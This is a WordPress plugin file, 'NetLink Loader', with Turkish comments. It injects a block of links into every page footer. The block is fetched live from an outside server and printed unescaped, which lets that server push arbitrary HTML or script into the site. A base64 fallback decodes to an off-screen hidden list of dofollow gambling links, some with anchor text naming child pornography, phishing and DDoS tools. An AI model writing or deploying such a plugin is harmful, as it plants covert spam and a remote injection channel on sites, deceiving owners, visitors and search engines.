<?php
/**
 * Plugin Name: NetLink Loader (decoct.u278.bgclient.work)
 * Description: NetLink footer link bloğunu yükler. Cache-proof: link verisi
 *              sayfa HTML'ine gömülmez, her görüntülemede taze çekilir.
 * Version:     1.0.0
 */

if (! defined('ABSPATH')) {
    exit;
}

add_action('wp_footer', function () {
    // SUNUCU TARAFI render: linkler PHP'de çekilip sayfaya DÜZ HTML olarak
    // basılır (kaynak kodda görünür, Googlebot okur, backlink hedefe gider).
    // 5 dakikalık transient cache ile her istekte uzağa gidilmez; container
    // yorumu (marker) idempotans için sabittir.
    $nl_key = 'nl_nl_si2oz66idubyyebvzuowqzj6isgtp';
    $nl_html = get_transient($nl_key);
    if ($nl_html === false || $nl_html === '') {
        $nl_resp = wp_remote_get('https://netlinkhover.top/api/v1/serve/nl_si2oz66idubyyebvzuowqzj6isgtp.html', array('timeout' => 6));
        // SADECE HTTP 200 kabul edilir: 429/500/WAF cevaplarının gövdesi de
        // dolu gelir, durum kodu kontrol edilmezse o hata metni önbelleğe
        // yazılıp linklerin yerine sayfaya basılırdı.
        $nl_code = is_wp_error($nl_resp) ? 0 : (int) wp_remote_retrieve_response_code($nl_resp);
        $nl_body = ($nl_code === 200) ? (string) wp_remote_retrieve_body($nl_resp) : '';
        // Boşu ÖNBELLEKLEME: fetch boş dönerse baked fallback'e düş, sonraki
        // istekte yeniden dene (aksi halde 5dk boyunca boş cache'lenirdi).
        if ($nl_body !== '') { set_transient($nl_key, $nl_body, 300); }
        $nl_html = $nl_body;
    }
    // Fetch boş/başarısızsa gömülü linkleri (base64) bas → kaynak kodda
    // HER ZAMAN link görünür.
    if ($nl_html === '' || $nl_html === false) { $nl_html = base64_decode('PGRpdiBjbGFzcz0ibmV0bGluay1saW5rcyBuZXRsaW5rLWxpbmtzLS1saXN0IiBzdHlsZT0icG9zaXRpb246YWJzb2x1dGUhaW1wb3J0YW50O2xlZnQ6LTk5OTk5cHghaW1wb3J0YW50O3RvcDphdXRvO3dpZHRoOjFweDtoZWlnaHQ6MXB4O292ZXJmbG93OmhpZGRlbjtjbGlwOnJlY3QoMCAwIDAgMCk7d2hpdGUtc3BhY2U6bm93cmFwIj48dWwgc3R5bGU9Imxpc3Qtc3R5bGU6bm9uZTttYXJnaW46MDtwYWRkaW5nOjAiPjxsaSBzdHlsZT0ibWFyZ2luOjA7cGFkZGluZzowIj48YSBocmVmPSJodHRwOi8vZWtheWFuYWFzY2hvb2wuY29tLyIgcmVsPSJkb2ZvbGxvdyI+ZWxleGJldDwvYT48L2xpPjxsaSBzdHlsZT0ibWFyZ2luOjA7cGFkZGluZzowIj48YSBocmVmPSJodHRwczovL3FtYW1ob3N0LmNvbSIgcmVsPSJkb2ZvbGxvdyI+aGlsdG9uYmV0PC9hPjwvbGk+PGxpIHN0eWxlPSJtYXJnaW46MDtwYWRkaW5nOjAiPjxhIGhyZWY9Imh0dHBzOi8vdHIucHVsaWJldC1naXJpc2xlcmkudG9wLyIgcmVsPSJkb2ZvbGxvdyI+cG9ybm8gYmFow6dlbGVyaTwvYT48L2xpPjxsaSBzdHlsZT0ibWFyZ2luOjA7cGFkZGluZzowIj48YSBocmVmPSJodHRwczovL3RyLnB1bGliZXRnaXJpc2FkcmVzaS5jYW0vIiByZWw9ImRvZm9sbG93Ij5zaWtpxZ8gY2VubmV0aTwvYT48L2xpPjxsaSBzdHlsZT0ibWFyZ2luOjA7cGFkZGluZzowIj48YSBocmVmPSJodHRwczovL20ucHVsaWJldC1vbmxpbmUtY2FzaW5vc3UuaWN1LyIgcmVsPSJkb2ZvbGxvdyI+cG9ybm8ga2V5Zmk8L2E+PC9saT48bGkgc3R5bGU9Im1hcmdpbjowO3BhZGRpbmc6MCI+PGEgaHJlZj0iaHR0cHM6Ly90ci5wdWxpYmV0LXllbmlsZW5lbjIwMjZhZHJlc2kuY3lvdS8iIHJlbD0iZG9mb2xsb3ciPmVzY29ydDwvYT48L2xpPjxsaSBzdHlsZT0ibWFyZ2luOjA7cGFkZGluZzowIj48YSBocmVmPSJodHRwczovL3R1bGlwYmV0Y2FzaW5vLmNvbS8iIHJlbD0iZG9mb2xsb3ciPnNpa2nFnyBoYXZ1enU8L2E+PC9saT48bGkgc3R5bGU9Im1hcmdpbjowO3BhZGRpbmc6MCI+PGEgaHJlZj0iaHR0cHM6Ly9wZXJhcGF0aXNzZXJpZS5maS8iIHJlbD0iZG9mb2xsb3ciPmVsZXhiZXQ8L2E+PC9saT48bGkgc3R5bGU9Im1hcmdpbjowO3BhZGRpbmc6MCI+PGEgaHJlZj0iaHR0cHM6Ly9tLnR1bGlwYmV0LWdpcmlzYWRyZXNpLmNhbS8iIHJlbD0iZG9mb2xsb3ciPmNoaWxkIHBvcm4gd2F0Y2g8L2E+PC9saT48bGkgc3R5bGU9Im1hcmdpbjowO3BhZGRpbmc6MCI+PGEgaHJlZj0iaHR0cHM6Ly90ci5idGNpZ3VuY2VsYWRyZXMuc3RvcmUvIiByZWw9ImRvZm9sbG93Ij5ydXMgcG9ybm9sYXLEsTwvYT48L2xpPjxsaSBzdHlsZT0ibWFyZ2luOjA7cGFkZGluZzowIj48YSBocmVmPSJodHRwczovL3RyLnB1bGliZXRnaXJpcy1ndW5jZWxhZHJlcy5pY3UvIiByZWw9ImRvZm9sbG93Ij5waGlzaGluZyBwb3JuPC9hPjwvbGk+PGxpIHN0eWxlPSJtYXJnaW46MDtwYWRkaW5nOjAiPjxhIGhyZWY9Imh0dHBzOi8vd3d3LmFuZGVzc291cmNlLmNvbS8iIHJlbD0iZG9mb2xsb3ciPmhpbHRvbmJldDwvYT48L2xpPjxsaSBzdHlsZT0ibWFyZ2luOjA7cGFkZGluZzowIj48YSBocmVmPSJodHRwczovL2JldGJveC5ib3hnaXIuY2FtLyIgcmVsPSJkb2ZvbGxvdyI+Y2hpbGQgcG9ybjwvYT48L2xpPjxsaSBzdHlsZT0ibWFyZ2luOjA7cGFkZGluZzowIj48YSBocmVmPSJodHRwczovL20ucHVsaWJldC1jYXNpbm9iZXQuaWN1LyIgcmVsPSJkb2ZvbGxvdyI+cG9ybm8gaXpsZTwvYT48L2xpPjxsaSBzdHlsZT0ibWFyZ2luOjA7cGFkZGluZzowIj48YSBocmVmPSJodHRwczovL3d3dy50LXBvY2hlLmpwLyIgcmVsPSJkb2ZvbGxvdyI+cGhpc2hpbmcgc3BhbTwvYT48L2xpPjxsaSBzdHlsZT0ibWFyZ2luOjA7cGFkZGluZzowIj48YSBocmVmPSJodHRwczovL3dlaGxlci1zdGFuenRlY2huaWsuZGUvIiByZWw9ImRvZm9sbG93Ij5pc3RhbmJ1bCBlc2NvcnQ8L2E+PC9saT48bGkgc3R5bGU9Im1hcmdpbjowO3BhZGRpbmc6MCI+PGEgaHJlZj0iaHR0cHM6Ly9zcmVlZHVyZ2FlbnRlcnByaXNlcy5jb20vIiByZWw9ImRvZm9sbG93Ij5kZG9zIGF0dGFjayBwcm9ncmFtPC9hPjwvbGk+PGxpIHN0eWxlPSJtYXJnaW46MDtwYWRkaW5nOjAiPjxhIGhyZWY9Imh0dHBzOi8vYmV0Ym94LmJveGhpemxpc2kuY2ZkLyIgcmVsPSJkb2ZvbGxvdyI+Y2hpbGQgcG9ybjwvYT48L2xpPjxsaSBzdHlsZT0ibWFyZ2luOjA7cGFkZGluZzowIj48YSBocmVmPSJodHRwczovL3phbmVsLmNvbS5ici8iIHJlbD0iZG9mb2xsb3ciPmdhbWUgb2YgdGhyb25lcyBpemxlPC9hPjwvbGk+PGxpIHN0eWxlPSJtYXJnaW46MDtwYWRkaW5nOjAiPjxhIGhyZWY9Imh0dHBzOi8vd3d3LmRkaXppLmltLyIgcmVsPSJkb2ZvbGxvdyI+cG9ybm88L2E+PC9saT48bGkgc3R5bGU9Im1hcmdpbjowO3BhZGRpbmc6MCI+PGEgaHJlZj0iaHR0cHM6Ly9zdXByZW1hbHV2YXMuY29tLmJyLyIgcmVsPSJkb2ZvbGxvdyI+YmV0Y2k8L2E+PC9saT48bGkgc3R5bGU9Im1hcmdpbjowO3BhZGRpbmc6MCI+PGEgaHJlZj0iaHR0cHM6Ly9ta2F2YWxpYWNvZXNpbW9iaWxpYXJpYXMuY29tLmJyIiByZWw9ImRvZm9sbG93Ij5iZXRib3g8L2E+PC9saT48bGkgc3R5bGU9Im1hcmdpbjowO3BhZGRpbmc6MCI+PGEgaHJlZj0iaHR0cHM6Ly9hbGxpYW5jZXJlc3BpcmFkb3Jlcy5jb20uYnIvIiByZWw9ImRvZm9sbG93Ij50dWxpcGJldDwvYT48L2xpPjxsaSBzdHlsZT0ibWFyZ2luOjA7cGFkZGluZzowIj48YSBocmVmPSJodHRwOi8vZ3Jvb3ZlZmVzdGl2YWwuaWUvZ3Jvb3ZlZmVzdGl2YWwuaWUiIHJlbD0iZG9mb2xsb3ciPnBvcm5vPC9hPjwvbGk+PGxpIHN0eWxlPSJtYXJnaW46MDtwYWRkaW5nOjAiPjxhIGhyZWY9Imh0dHBzOi8vbS5oaWx0b25iZXQtMjAyNnJlc21pLmNvbS8iIHJlbD0iZG9mb2xsb3ciPmNoaWxkIHBvcm4gdmlkZW88L2E+PC9saT48bGkgc3R5bGU9Im1hcmdpbjowO3BhZGRpbmc6MCI+PGEgaHJlZj0iaHR0cHM6Ly90ci5iZXRjaS1ndW5jZWxnaXJpc2kudG9wIiByZWw9ImRvZm9sbG93Ij5iZXRjaTwvYT48L2xpPjxsaSBzdHlsZT0ibWFyZ2luOjA7cGFkZGluZzowIj48YSBocmVmPSJodHRwczovL3RyLmJldGJveC1ndW5jZWxnaXJpcy50b3AiIHJlbD0iZG9mb2xsb3ciPmJldGJveDwvYT48L2xpPjxsaSBzdHlsZT0ibWFyZ2luOjA7cGFkZGluZzowIj48YSBocmVmPSJodHRwczovL3BpbnR1cmFzcHEuY29tLyIgcmVsPSJkb2ZvbGxvdyI+YmV0Y2k8L2E+PC9saT48bGkgc3R5bGU9Im1hcmdpbjowO3BhZGRpbmc6MCI+PGEgaHJlZj0iaHR0cHM6Ly9saWdodGhvdXNlYXJ0cy5vcmcudWsiIHJlbD0iZG9mb2xsb3ciPmJldGJveDwvYT48L2xpPjxsaSBzdHlsZT0ibWFyZ2luOjA7cGFkZGluZzowIj48YSBocmVmPSJodHRwczovL21hZmVyaW1wcmVudGFkaWdpdGFsLmNvbSIgcmVsPSJkb2ZvbGxvdyI+Y2FubMSxIG1hw6cgaXpsZTwvYT48L2xpPjxsaSBzdHlsZT0ibWFyZ2luOjA7cGFkZGluZzowIj48YSBocmVmPSJodHRwczovL2ZkZXNwZXJ1LmNvbS8iIHJlbD0iZG9mb2xsb3ciPnNlbGN1a3Nwb3J0czwvYT48L2xpPjxsaSBzdHlsZT0ibWFyZ2luOjA7cGFkZGluZzowIj48YSBocmVmPSJodHRwczovL2JldGJveC5ib3h5ZW5pc2kuaWN1LyIgcmVsPSJkb2ZvbGxvdyI+cG9ybm88L2E+PC9saT48bGkgc3R5bGU9Im1hcmdpbjowO3BhZGRpbmc6MCI+PGEgaHJlZj0iaHR0cHM6Ly90ci5oaWx0b25iZXQyNy5saXZlLyIgcmVsPSJkb2ZvbGxvdyI+cG9ybm8gaXpsZTwvYT48L2xpPjxsaSBzdHlsZT0ibWFyZ2luOjA7cGFkZGluZzowIj48YSBocmVmPSJodHRwczovL3RyLmhpbHRvbmJldDI3LmxpdmUvIiByZWw9ImRvZm9sbG93Ij5wb3JubyBjaGlsZDwvYT48L2xpPjxsaSBzdHlsZT0ibWFyZ2luOjA7cGFkZGluZzowIj48YSBocmVmPSJodHRwczovL3RyLmhpbHRvbmJldDI1LmxpdmUiIHJlbD0iZG9mb2xsb3ciPnBoaXNoaW5nPC9hPjwvbGk+PGxpIHN0eWxlPSJtYXJnaW46MDtwYWRkaW5nOjAiPjxhIGhyZWY9Imh0dHBzOi8vdHIuYWxtYW5iYWhpczYubGl2ZS8iIHJlbD0iZG9mb2xsb3ciPnBvcm5vIHNleXJldDwvYT48L2xpPjxsaSBzdHlsZT0ibWFyZ2luOjA7cGFkZGluZzowIj48YSBocmVmPSJodHRwczovL2FydGhvdXNlbGltYnVyZy5ubC8iIHJlbD0iZG9mb2xsb3ciPmJldGJveDwvYT48L2xpPjxsaSBzdHlsZT0ibWFyZ2luOjA7cGFkZGluZzowIj48YSBocmVmPSJodHRwczovL2xpZW5ndG9uZy5jb20vIiByZWw9ImRvZm9sbG93Ij5iZXRjaTwvYT48L2xpPjxsaSBzdHlsZT0ibWFyZ2luOjA7cGFkZGluZzowIj48YSBocmVmPSJodHRwczovL2JldGJveC5ib3h5ZW5pYmFnbGFudGkuY2FtLyIgcmVsPSJkb2ZvbGxvdyI+cGhpc2hpbmc8L2E+PC9saT48bGkgc3R5bGU9Im1hcmdpbjowO3BhZGRpbmc6MCI+PGEgaHJlZj0iaHR0cHM6Ly9hZnNjb3RlZGl2b2lyZS5jb20vIiByZWw9ImRvZm9sbG93Ij5lbGV4YmV0PC9hPjwvbGk+PGxpIHN0eWxlPSJtYXJnaW46MDtwYWRkaW5nOjAiPjxhIGhyZWY9Imh0dHBzOi8vd3d3LmFkdm1kb3MuY29tLyIgcmVsPSJkb2ZvbGxvdyI+dHVsaXBiZXQ8L2E+PC9saT48bGkgc3R5bGU9Im1hcmdpbjowO3BhZGRpbmc6MCI+PGEgaHJlZj0iaHR0cHM6Ly9zY3V0by1ib2R5cmVwYWlyLXBhbGVtYmFuZy5jb20vIiByZWw9ImRvZm9sbG93Ij5oaWx0b25iZXQ8L2E+PC9saT48L3VsPjwvZGl2Pg=='); }
    echo '<!-- nl-linkbox-nl_si2oz66idubyyebvzuowqzj6isgtp -->';
    echo $nl_html;
}, 99);

// Bilinen cache/optimizasyon eklentilerinden loader'ı muaf tut.
add_filter('rocket_exclude_defer_js', function ($excluded) {
    $excluded[] = 'netlink';
    return $excluded;
});
add_filter('rocket_delay_js_exclusions', function ($excluded) {
    $excluded[] = 'netlink';
    return $excluded;
});
add_filter('autoptimize_filter_js_exclude', function ($exclude) {
    return $exclude . ',netlink';
});
add_filter('litespeed_optimize_js_excludes', function ($excludes) {
    $excludes[] = 'netlink';
    return $excludes;
});
